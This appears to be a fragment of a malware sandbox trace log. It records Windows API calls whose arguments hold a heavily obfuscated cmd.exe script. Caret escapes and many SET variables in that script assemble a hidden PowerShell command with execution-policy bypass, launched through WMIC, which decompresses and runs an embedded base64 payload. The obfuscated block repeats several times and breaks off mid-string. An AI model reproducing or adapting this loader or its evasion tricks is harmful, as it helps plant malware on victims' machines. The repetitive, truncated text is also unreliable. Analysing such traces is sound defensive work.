(s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*="%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^J") returned 1 [0084.787] GetEnvironmentVariableW (in: lpName="aPPdAta", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0084.787] wcstol (in: _String="-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^VR%%m^Lwq%%^lPo", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*=",1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t 